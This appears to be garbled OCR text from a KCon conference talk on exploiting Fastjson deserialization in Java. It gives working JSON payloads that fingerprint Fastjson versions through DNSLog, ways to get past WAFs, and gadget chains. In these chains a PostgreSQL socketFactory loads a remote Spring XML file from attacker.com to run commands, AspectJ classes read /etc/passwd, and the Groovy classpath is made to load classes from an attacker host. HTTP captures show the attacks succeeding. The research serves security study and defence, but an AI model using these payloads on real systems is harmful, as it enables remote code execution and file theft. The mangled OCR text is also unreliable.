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JSON to Bean

JSON JavaBean

JSON ={"@type":"

.getGlo

SimpleBean) JSON.parse(json);
JSON.parseObject(json,SimpleBean.class);

JSON.parseObject(json).toJavaObject(SimpleBean.class);

autotype autotype

Il,llvarll:ll II}

Instance().setAutoTypeSupport(
AutoType

public class SimpleBean {
private String
public String getVar() {

I [
: [
I [
: [
: [
. return ; l
1) :
: public void setVar(String var) { I
); | this.var =var; :
L) :
B |

SimpleBean bean = new SimpleBean();

bean.setVar("foo");
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JSON

JSON.parse('{"@type":"

class whitelist mappings
class use @JSONType
enable autotype

class extends expectClass

JavaBeanDeserializer MiscCodec

\ ThrowableDeserializer MapDeserializer ...

ll’llvarll=ll

)

f

ObjectDeserializer (Type type)

I—; T C..)

"¥) ﬁ

(String typeName,Class expectClass,int features)

pass
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NEVELTE]
public
{ll Il:ll " ...}
public
setter
« Field public setter
public setter
o000 o000 XX ,
SimpleBean { SimpleBean { SimpleBean {
String SimpleBean(String varl, SimpleBean(String varl,String r~
SimpleBean(){} String var2){...} var2){...}
setVar(String varl) { SimpleBean(String varl, SimpleBean(String varl,String
this. =varl; String var2,String var3) var2){...}
J foocl }

J J
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DNSLog fastjson

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}

{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

dnslog.com
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{"a":new a(1),"b":x'11",/**/"c":Set[{H{}],"d":"\u0O000\x00"} {"ext":"blue","name":{" ":"S.ext"}}
{"a” 1 ||b|| ||EQ__|| mnm_mn, [{}] ||d|| "\UOOOO\UOOOO"} {"ext":"bluell,"name":"blue"}
{"@type":"whatever"} com.alibaba.fastjson.JSONException: autoType is not support.

whatever
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org.json

JSONODbject jsonObject = new JSONObject("{a:"\r'}");

gson
00
str = {a:1.11111111111111111111111111111111}

Gson(). (str, Object. );

=)

{'a";

at 5 [character O line 2]
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jackson
LN N
str={"a":1.11111111111111111111111111}/*#whatever - {" " }
ObjectMapper(). (str, Object. )

(2001 &

com.fasterxml.jackson.core.JsonParseException: Unexpected character (""" (code 39)): was expecting
start field name

str={"name":"blue","age":18} public class Person {
' , . blic String name;
new ObjectMapper(). (str, Person. ) T e
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hutool JSON

{a:what.ever}/*\r\n

XXX

{"a":"what.ever"}

+]

s |><az</a><l--/>

L N N
s = JSONUil. (JSONUtil. (
"{'IDOCTYPE foo [ <!ENTITY % dtd SYSTEM \"http://localhost:2333/evil.dtd\"> %dtd; |><a></a><!--":""}"
);
XMLReaderFactory. (). (new InputSource(new StringReader(s)));
< [ < % "http://localhost:2333/evil.dtd"> %
LN N ncat -lvp 2333

[~]$ ncat -lvp 2333

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:65349.

GET /evil.dtd HTTP/1.1

User-Agent: Java/1.8.0_152

Host: localhost:2333

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
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fastjson 1.2.47

[
{"@type":"java.lang.Class

nmn
)

val":"java.io.ByteArrayOutputStream"},

{"@type":"java.io.ByteArrayOutputStream"},

{"@type":"java.net.InetSocketAddress"{"address":,"val":" "H

]

dnslog.com
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fastjson 1.2.68

[
{"@type":"java.lang.AutoCloseable

, @type

{"@type":"java.io.ByteArrayOutputStream"},

java.io.ByteArrayOutputStream™},

{"@type":"java.net.InetSocketAddress"{"address":,"val":" "H

]

dnslog.com
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fastjson 1.2.80

{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{" @type":"java.
net.InetSocketAddress"{"address":,"val":"first.dnslog.com"}}},

{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{" @typ

e":"Java.net.InetSocketAddress"{"address":,"val":"second.dnslog.com"}}}
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fastjson %

N N JavaBeanDeserializer

public class JavaBeanDeserializer implements ObjectDeserializer {
protected <T> T deserialze(DefaultJSONParser parser,Type type, Object fieldName, Object object,
int features, 1int[] setFlags) {

if (fieldName instanceof String) {
buf //
.append(", fieldName ") //
.append( fieldName);

¥
buf.append(", fastjson-version ").append(JSON.VERSION);

throw new JSONException(buf.toString());

{ @type":"java.lang.AutoCloseable”
JSON.parseObject(" " Person. );
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org.springframework.web.bind.annotation.RequestMapping spring

org.apache.catalina.startup.Tomcat tomcat
groovy.lang.GroovyShell groovy
com.mysqgl.jdbc.Driver mysql
java.net.http.HttpClient javall
{" ":"java.lang.Class"W
Class not found Class exists

/ N\

null class com.mysql.jdbc.Driver
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DNSLog
. ":"java.net.Inet4Address",
"val":{" ":"java.lang. Strlng
i ":"java.util.Locale", L MClass not found
"val":{" "."com.ahbaba.fastjson JSONODbject",{
" " "Java. util. LOCa[e 14560  {"1":"com.mysgl.jdbc.driver"} .I56y7u6g.dnslog.pw
! " ":"java.lang. Strlng
{l:{” ”.”java lang ClaSS" "Val"."TARGET_CLASS”}}, {"1":"groovy.lang.groovyshell"}_.I56y7u6g.dnslog.pw
! ":"x.156yTubg.dnslog.pw"”
}} {"1":"org.apache.catalina.startup.tomcat"}_.I56y7u6g.dnslog.pw

{"1":"org.springframework.web.bind.annotation.requestmapping"}_.|

56y7u6g.dnslog.pw
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Raw \n Actions WA Raw FHender \n Actions w

1 POST /login HTTP/1.1 1 HTTP/1.1 200
2 Host:example.com 2 Content-Type: application/json

3 Connection: close 3 Content-Length: 150
4 4
5 { 51

"@type":"java.lang.Character"{ "error":"Bad Request",

"@type":"java.lang.Class", "message":"com.alibaba.fastjson.JSONException: can not cast to char,

"val":"com.mysql.jdbc.Driver" value : class com.mysql.jdbc.Driver",
"path":"/login"
J
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WAF Bypass

)
U

------ WebKitFormBoundaryAO5f48pfmr4ErWMN
form-data; name=json
: Base64

eyJAdHIwWZSI6ImNvbS5zdW4ucm93c2VOLKkpkYMNSb3dTZXRJbXBsIn0=
------ WebKitFormBoundaryAO5f48pfmr4ErWMN--

)
bt
-

------ WebKitFormBoundaryAO5f48pfmr4ErWMN
: form-data; name=json
: quoted-printable

=7B=22=40type=22=3A=22com.sun.rowset.JdbcRowSetimpl=22=7D
------ WebKitFormBoundaryAO5f48pfmr4ErWMN--

{"@type'":"com.sun.rowset.JdbcRowSetimpl"}
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WAF Bypass

i o . T
\.!‘.i' S

{,new:[NaN,x'00',{,/*}*/"\x40\u0074\x79\u0070\x65":xjava.lang.AutoClosea
ble"

N N
[11111111111111111111111111111111111...

,[11111111111111111111111111111111111...
,[11111111111111111111111111111111111...
,[11111111111111111111111111111111111...
,11111111111111111111111111111111111
)°
]

.»1'\x40\u0074\x79\u0070\x65":xjava.lang. AutoCloseable"
111
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1.2.47

FASTJSONRzFF 31t

1.2.68

1.2.80



java.lang.Exception

java.lang.Class

Java.net.URL
com.sun.rowset.JdbcRowSetImpl
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1.2.68

java.lang.AutoCloseable
put

java.lang.Class

Java.net.URL
Java.io.ByteArrayOutputStream

00
get { n_n, {
Ltyoe"java.lang AutoCloseable”, |
_ @typejava.io.ByteArrayOutputStream” -
O
(@typetjava.io.ByteArrayOutputStream”,
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1.2.80
java.lang.Exception

java.lang.Class

Java.net.URL fastjson

ognl.OgnlException 2022.5.23 1.2.80

ey

LoD Java.lang Exception”,

(@typeognl.OgnlException” |
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@type
#toJavaObject(Type) o000

1 public static <T> T castToJdavaBean(Map<String ect> map, Class<T> clazz, ParserConfig config){

#cast(Object, Class, ParserConfig

2
3 . A
4 Object iClassObject = map.get(JSON.DEFAULT TYPE KEY); !
____________________ 5. if(1ClassObject instanceof String){
@tgpe String className = (String) 1ClassObject;
7 Class<?> loadClazz;
r--------1--------1 8 if(config == null){
- none B no.n . 9 config = ParserConfig.global;
@type":"java.lang.String"" @type" : 10 )
11 loadClazz = config.checkAutoType(className, null);
12 1f(loadClazz == null){
"'@type" al |} LBL } throw new ClassNotFoundException(className + " not found");
- I 15 if(!loadClazz.equals(clazz) ){
16 (& 'return (T) castToJavaBean(map, loadClazz, config);
17 e
ognl.OgnlException@a7e666 ;_Lg | ¥
) 20
{"@type":"ognl.OgnlExceptlon"} 21 JavaBeanDeserializer javaBeanDeser = nully, _ .
27 'ObjectDeserializer deserializer = config.getDeserializer(clazz);
23 Iif (deserializer instanceof JavaBeanDeserializer) { I
24 l javaBeanDeser = (JavaBeanDeserializer) deserializer; I
25 1 S '
26
27 return (T) javaBeanDeser.createlnstance(map, config);
28

29 }



__________________________ r

caseloJavaBean

@type

l—l—\

||@type|l IIJava Iang Strlngllll n ., llognl OgnlExceptK)n

caselToJavaBean

ThrowableDeserializer.createlnstance() 2 J#%1{t. Exception

7 mEElt OR (FeMAutoType) B3N

< hXException¥IRZF It

DFIE =
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JDBC connection

write file

1.2.80
(Gadgets

read file

execute code
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JDBC connection
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000 com.ziclix.python.sqgl.PyConnection
N N org.python.antlr.ParseException

public class PyConnection extends PyObject implements ClassDictInit, ContextManager, Traverseproc {

public class ParseException extends RuntimeException {

.cursors = Collectigns. ) i S.Cursors)
.connection
15 .statements

public ParseException() {
this.type = Py.SyntaxError;

ollections.newSetFromMap (new WeakHashMap());

Collections.synchronizedSet(this.statements);
b supportsTransactions = this.connection.getMetaData().supportsTransactions();
__________ this.supportsMultipleResultSets = this.connection.getMetaData().supportsMultipleResultSets();
this.type = t; ——======== this.connection.setAutoCommit (false);
}
}
- }
} .
}

public PgConnection(HostSpec[] hostSpecs, String user, String database,
Properties info, String url) throws SQLException {

this.queryExecutor =LConnect1nnFactory openConnectwn('hostSpecs, user,

database, info); —\7 —————————————
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00

public static Object instantiate(String classname, Properties info, boolean tryString, String
stringarg) {
Object[] args = new Object[]{info};
Constructor<?> ctor = null;
Class cls = Class.forName(classname);
try {
The provided value is a class name to use as the SSLSocketFactory when establishing a S5L connection. For more information see t ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException var9) {
sslfactoryarg = String }
if (tryString && ctor == null) {
e e e e e

ctor = cls.getConstructor(String.class);l

ssl
Connect using 55L. The driver must have been compiled with S5L support. This property does not need a value associated with it. The

sslfactory = String

This value is an optional argument to the constructor of the ssifactory class provided above. For more information see the section called

Ec;cﬁitgaficfz I- String SPEtiyea socket factory for socket creation. =rge = new TtrngTI{strngargy; — —
i--sn::c-]-:;t-[-‘;c:;r-y;r-g:= String Argument forwardethg constructor of SocketFactory class ; CAECHRURC HcHlle O UERCER ELoNRKARE ) B
————— }
;ééurn ctor.newInstance((Object[])args);

public static SocketFactory getSocketFactory(Properties info) throws PSQLException {
String socketFactoryClassName =, PGProperty.SOCKET_FACTORY.get(info);

LT (socketFactoryClassName == null) {
return SocketFactory.getDefault();
} else {
try {

return (SocketFactory)ObjectFactory.instantiate(socketFactoryClassName, info, true, new SOCketFaCtOry(
PGProperty.SOCKET_FACTORY_ARG.get(info) )

+ catch (Exception var3) {
throw new PSQLException(GT.tr("The SocketFactory class provided {0} could not be
instantiated.", new Object[]{socketFactoryClassName}), PSQLState.CONNECTION_FAILURE, var3);
}
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jdbc:postgresql://nodel/test?

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&
socketFactoryArg=http://target/exp.xml

00 ‘N N exp.xmi

package org.springframework.context.support;

<beans xmlns="http://www.springframework.org/schema/beans"

public class ClassPathXmlApplicationContext extends AbstractXmlApplicationContext { Xm}ﬂs:iSi=:httEf//WTW-W3-Org/2@@1/XMLSchema—instance“
@Nullable xsi:schema o;a ion=
nrivate Resource[] configResources; parse http://www.springframework.org/schema/beans
public ClassPathXmlApplicationContext() {} spring http://www.springframework.org/schema/beans/spring-
public ClassPathXmlApplicationContext(ApplicationContext parent) { i beans.xsd*>
super(parent); COang I <bean id="pb" class="java.lang.ProcessBuilder">

<constructor-arg

}
© public ClassPathXxmlApplicationContext(String configlocation) throws BeansException { ‘ | value="/System/Applications/Calculator.app/Contents/Mac0S/Ca

this(new String[]{configLocation}, true, (ApplicationContext)null); | lculator" />

} I <property name="whatever" value="#{ pb.start() }"/>

} </beans>

execute command



{

"@type":"java.lang.Exception”,

'}'@type

KCon

MiscCodec =—>JSONObject toJavaObject

. org.python.antlr.ParseException#setType
org.python.antlr.ParseException”

com.ziclix.python.sqgl.PyConnection

org.postgresqgl.jdbc.PgConnection

"@type":"org.postgresql.jabc.PgConnection”,
"hostSpecs":[{"host":"127.0.0.1","port":2333}],

"user":"user",

"database":"test",

"Info"{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://attacker.com/spring-context.xml"

})

llurlll:llll
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OGNL

public class 0OgnlException extends Exception{
public class Evaluation extends Object{
public Evaluation getEvaluation( ){

return _evaluation; public Evaluation(SimpleNode node, Object source, boolean setOperation){

} this(node, source);
this.setOperation = setOperation;
public void setEvaluation(Evaluation value){ }
_evaluation = value;
1 }
s
LN N

o0eo /\

public class OgnlParser implements OgnlParserTreeConstants, OgnlParserConstants { oublic class ASTMethod extends SimpleNode implements OrderedReturn, NodeType{

)
public Dganarseﬁig%Ea;}qLIEP%ESET%Emdstream, String encoding) { oublic ASTMethod(OgnlParser p, int id){

super(p, 1d);
Y s
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OGNL

MiscCodec JSONObject toJavaObject

ognl.OgnlException#setEvaluation

" ":"iava.lang.Exception", ognl.Evaluation#Evaluation(ognl.SimpleNode, java.lang.Object, boolean

"ognl.OgnlException ognl.ASTMethod#ASTMethod(ognl.OgnlParser, int

ognl.OgnlParser#OgnlParser(java.io.InputStream, java.lang.String

org.apache.commons.io.input.BOMInputStream

. . org.apache.commons.io.input.TeelnputStream
write file content

or
read file content

org.apache.commons.io.input.CharSequencelnputStream

org.apache.commons.io.output.WriterOutputStream

org.apache.commons.io.output.FileWriterWithEncoding
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xalan + dom4j

{ MiscCodec JSONODbject toJavaObject

:"Jjava.lang.Exception”,

org.apache.xml.dtm.DTMConfigurationException#locator

:"org.apache.xml.dtm.DTMConfigur .
ationException", org.apache.xpath.objects.XNodeSetForDOM/xctxt

! org.apache.xpath.XPathContext/#primaryReader
org.dom4j.io.XMLWriter#entityResolver
org.dom4j.io.SAXContentHandler#inputSource

org.xml.sax.InputSource#setByteStream(java.io.InputStream)

org.xml.sax.InputSourcefsetCharacterStream(java.io.Reader)
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xalan + dom4j

write file content
or
read file content

org.xml.sax.InputSource#setByteStream(java.io.InputStream)

org.apache.commons.io.input.BOMInputStream

org.apache.commons.io.input.TeelnputStream

org.apache.commons.io.input.CharSequencelnputStream

org.apache.commons.io.output.WriterOutputStream

org.apache.commons.io.output.FileWriterWithEncoding
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read file
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aspectj
AssistCompilationUnit (org.aspectj.org.eclipse.jdt.internal.codeassist
BasicCompilationUnit <texg_ aspectj.org.eclipse.jdt.internal.core)

.impl) N N pUth

ClassFileWorkingCopy~Qrg.aspecty~arg.eclipse.jdt.internal.core) public SourceTypeCollisionException extends RuntimeException {
; ; : : ; " ; pullic boolean isLastRound = false;
CompilationUnit (org.aspectj.org.eclipse-yst internal.compiler.batch) R . ] : t :
) ) ) i ) ) publiclICompilationUnit[],newAnnotationProcessorUnits;
CompilationUnit (org.aspectj.org.eclipsesgjdt.inter™sal.core) L.
CompilationUnit (org.aspectj.org.eclipse.jdt.1iMssgnal.coM™sjdom) public SourceTypeCollisionException()
PossibleMatch (org.aspectj.org.eclipse.jdt.internal.co™ssearciwatching) }
ResourceCompilationUnit (org.aspectj.org.eclipse.jdt.internalthqore.utits }
SourceFile (org.aspectj.org.eclipse.jdt.internal.core.builder)
N N
public class BasicCompilationUnit implements ICompilationUnit {

public BasicCompilationUnit(char[] contents, char[][] packageName, String fileName, String encoding) {
this(contents, packageName, fileName);

this.encoding = encoding;
}
®
rea d fl le Co nte n public char[] getContents() {
if (this.contents != null) {
return this.contents;
} else {
try {
‘d-_"'€>> return Util.getFileCharContent(new File(new String(this.fileName)), this.encoding);
} catch (IOException var2) {
return CharOperation.NO CHAR;
}
}
}



KCon

: "Java.lang.Exception”,
: "org.aspectj.org. ecllpse Jdt.internal.compiler.lookup.SourceTypeCollisionException”

MiscCodec JSONODbject toJavaObject
org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException

org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit

{uan:{

! ":"org.aspectj.org.eclipse.jdt.internal.core.BasicCo
mpilationUnit",

" "."[etc/passwd"

}

{"Sref":"S.a.contents"} JSONODbject toString
root:x:0:0:root:/ro {" "."[etc/passwd","
ot:/bin/bash :"root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae daemon x:1:1: daemon /usr/sbin: /usr
mon:/usr/sbin:/us /sbin/nologin...’

r/sbin/nologin... passwd"}
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- PR . 1
=% =2 [ [=%=
I 1% él:{ 1.—1‘1 at-zii = 8

Raw \n Actions + Render \n Actions v

POST /login HTTP/1.1 1 HTTP/1.1 200
Host:example.com 2 Content-Type: application/json

1
2
3 Content-Length: 154 3 Content-Length: 679
4
S

4 Connection: close
{ 5
"username"{ 6 1

"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCom "msg":
pilationUnit", {\"fileName\":\"/etc/passwd\",\"contents\":\"root:x:0:0:root:/root:/bin/b

"fileName":" /etc/passwd" ash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...\",\"mainType
1, Name\":\"passwd\"} "
"password":"whatever" }

J
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000 CharacterCodec
@SuppressWarnings("unchecked")
Web K Exception message response publli_c__-:'l_':-_T_dgsgr_ia_lz;e(_[)e_fa_ul_tJ_SQNlParser parser, Type clazz, Object fieldName) {
Object value = parser.parse();I
Teturn vatuée ="nhalt 7/~~~
? null //
Character JSON : (T) TypeUtils.castToChar(value);
Exception message }
X X {{
" m, n: 11
public static Character castToChar(Object value){ @t¥pe ) Java.lang°CharaCter {
if(value == null){ C Z{
return null; " TRIE . "
} @type™:"java.lang.String
if(value instanceof Character){ n n
return (Character) value; he“O World
b

if(value instanceof String){
String strVal = (String) value;
if(strVal.length() == 0){
return null;

! com.alibaba.fastjson.JSONException: can not cast to char, value : {"c":"hello world"}
Lilstrval. Length() 1= 1} at com.alibaba.fastjson.util. TypeUtils.castToChar(TypeUtils.java:150)
throw new JSONException("can not cast to char, value : " Vd LUY
}
return strVal.charAt(0);
U
lthrow new JSONException(“can not cast to char, value + value);'
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|- o e~
=t = [ [=%=
I 1% él:{ 1.—1‘1 at-zii = 8

Raw \n Actions + Render \n Actions v

1 POST /login HTTP/1.1 1 HTTP/1.1 200

2 Host:example.com 2 Content-Type: application/json
3 Content-Length: 226 3 Content-Length: 14738

4 4

5 { 51

"@type":"java.lang.Character"{ "error":"Bad Request",
"' "message":"JSON parse error: can not cast to char, value:

"@type":"org.aspectj.org.eclipse.jdt.internal.core.Basic  {\"c\":{\"contents\":\"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:dae
CompilationUnit", mon:/usr/sbin:/usr/sbin/nologin...\",\"fileName\":\"/etc/passwd\",\"mai
"fileName":"/etc/passwd" nTypeName\":\"passwd\"}}",
] "path":"/login"
}
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DNSLOG

{"a"{" ":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit"," " tmp/test.txt"},

"b":{" ":"Java.net.Inet4Address”,

:" 2ty pe™Navalang. String” |

Lol ":"java.util.Locale", |

' val" " "."com.allbaba.fastjson JSONObject"{ |

L "-"ava.util. Locale",:

] " {" ":"Java.lang. Strlng"{ ST [ Locale el ) | Lgf\gl(;%

" n,n tri toStri t

: }} X 156y7U6g dnSlOg pW : D[\?Snlgg OCale oSlring ne ress

[

TypeUtil
XX ypeUltils &Gy ‘ WebLog API Rebind Payloads

public static <T> T castToJavaBean(Map<String,0Object> map, Class<T> clazz, ParserConfig config){

-;(clazz == Locale.class){
Object arg® = map. get( language"); N7 %iﬂ% |56Y7U69dﬂS|OQDW

Object argl = map.get("country");
if(arg® instanceof String){
String language = (String) arg0;

if(argl instanceof String){
String country =_(String) argl:
return (T) new Locale(language, country); E‘Eg
} else 1f(argl == null){
return (T) new Locale(language);
. b {"a":{"contents":"{{flag}}n" " filename":"/tmp/test.txt" "maintypenam
mw.mwmw.n - —
new Locale("=","h").toString() = e":"test")) x I58y7u60a.dnslog.pw
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HTTPLOG
InputStream Reader
OGNL JSONReader URLReader HTTP

MiscCodec JSONObject toJavaObject

ognl.OgnlException#setEvaluation

:"Java.lang.Exception”,

:"ognl.OgnlException”
ognl.Evaluation#Evaluation(ognl.SimpleNode, java.lang.Object, boolean)

ognl.ASTMethod#ASTMethod(ognl.OgnlParser, int)

ognl.OgnlParser#OgnlParser(java.io.InputStream, java.lang.String)

org.apache.commons.io.input.ReaderinputStream(java.io.Reader)

com.alibaba.fastjson.JSONReader



blue@MacBook-Pro ~ %
Ncat:

Ncat:
Ncat:

Ncat:
Ncat:
GET /test? [{"CONTENTS":"
User-
Host:
Accept:
Conne

KCon

HTTPLOG

com.alibaba.fastjson.JSONReader",
II.{

. "Jdk.nashorn.api.scripting. URLReader",
"url"; ${var|able}

\_/ T

ncat -lvp 2333
Version 7.91 ( https://nmap.org/ncat )
Listening on :::2333
Listening on 0.0.0.0:2333
Connection from 127.0.0.1.
Connection from 127.0.0.1:52333.
{{FLAG}}\N","FILENAME" :
Agent: Java/1.8.0_152

127.0.0.71:23353
text/html, image/gif, image/jpeg, *; g=.2,
ction: keep-alive

Y7 TMPJTEST . TXT™

* /% q:lz

, "MAINTYPENAME" : "

"java.net.URL","val":{" "java.lang.String"{" :"Jjava.util.Local

":"com.alibaba.fastjson.JSONObject"{

@type java.lang.String"" :"java.util.Locale",

. ":"http://attacker.com/test?",

! " "Jjava.lang.String"|
"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
! " [tmp/test.txt"}

N
E /tmp/test.txt

{{flag}}

TEST" ¥] HBITR/1.1
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:"java.lang.Exception",

:"org.codehaus.groovy.cont
rol.CompilationFailedException®,

"unit”: }
}

class whitelist
java.lang.Exception

java.lang.Class

cessingUnit

org.codehaus.groovy.control.Co
mpilationFailedException

1

org.codehaus.groovy.control.Pro |

org.codehaus.groovy.control.ProcessingUnit

org.codehaus.groovy.tools.javac.JavaStubCompilationUnit

org.codehaus.groovy.control.CompilerConfiguration

classpathList = [ http://attacker.com ]
otherField = null

00 CompilationFailedException

public class CompilationFailedException extends GroovyRuntimeException {

public CompilationFailedException(int phase, ProcessingUnit unit,' Throwable cause) {

}
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+

public abstract class ProcessingUnit {

CompilerConfiguration

public ProcessingUnit(final CompilerConfiguration configuration, final GroovyClasslLoader classlLoader, final ErrorCollector

errorCollector) {

classpathList==http://attacker.com

setConfiguration(configuration != null ? configuration : CompilerConfiguration.DEFAULT);
setClasslLoader(classLoader);
this.errorCollector = errorCollector != null ? errorCollector : new ErrorCollector(getConfiguration());
configure(getConfiguration());
+
public void setClassLoader(final GroovyClassLoader loader) {
this.classLoader = loader != null ? loader : AccessController.doPrivileged((PrivilegedAction<GroovyClassLoader>) () -> {
ClassLoader parent = Thread.currentThread().getContextClassLoader();
Lf (parent == null) parent = ProcessingUnit.class.getClassLoader();
et e St e
3
/i
k
o000

public GroovyClassLoader(ClassLoader parent, CompilerConfiguration config, boolean useConfigurationClasspath) {
super( EMPTY_URL_ARRAY, parent);

if (config == null) config = CompilerConfiguration.DEFAULT;
this.config = config;

1T (useConfigurationClasspath) A
for (String path : config.getClasspath()) {
this.addClasspath(path);
i
}

initSourceEncoding(config);
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org.codehaus.groovy.tools.javac.JavaStubCompilationUnit org.codehaus.groovy.control.ProcessingUnit

org.codehaus.groovy.control.CompilationUnit#addPhaseOperations

org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations

org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTranstforms

00

1 private static void addPhaseOperationsForGlobalTransforms(CompilationUnit compilationUnit,

2 Map<String, URL> transformNames, .hoolean_isFirstScan)._{

3 GroovyClassLoader transformLoader =!compilationUnit.getTransformLoader();

4 for (Map.Entry<String, URL> entry : transtormNames.entrySet() ClaSSpath GroovyClaSSLOader
5 try {

6 Class<?> gTransClass =, transformLoader. loadClass(entry.getKey(), false, true, false);

7 GroovyASTTransformation transformAnnotation = gTransClass.getAnnotation(GroovyASTTransformation.class);
8 .f (transformAnnotation == null) { java ClaSS

9 continue;

10 ¥

11 .t (ASTTransformation.class.isAssignableFrom(gTransClass)) {

12 ASTTransformation instance = (ASTTransformation) gTransClass.getDeclaredConstructor().newInstance();
13

Java
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E /META-INF/services/org.codehaus.groovy.transform.ASTTransformation

— _ :Blue.class

@GroovyASTTransformation

public class Blue implements ASTTransformation
{static{

}

}

attacker.com Java

attacker

attacker.com
Blue

1

server
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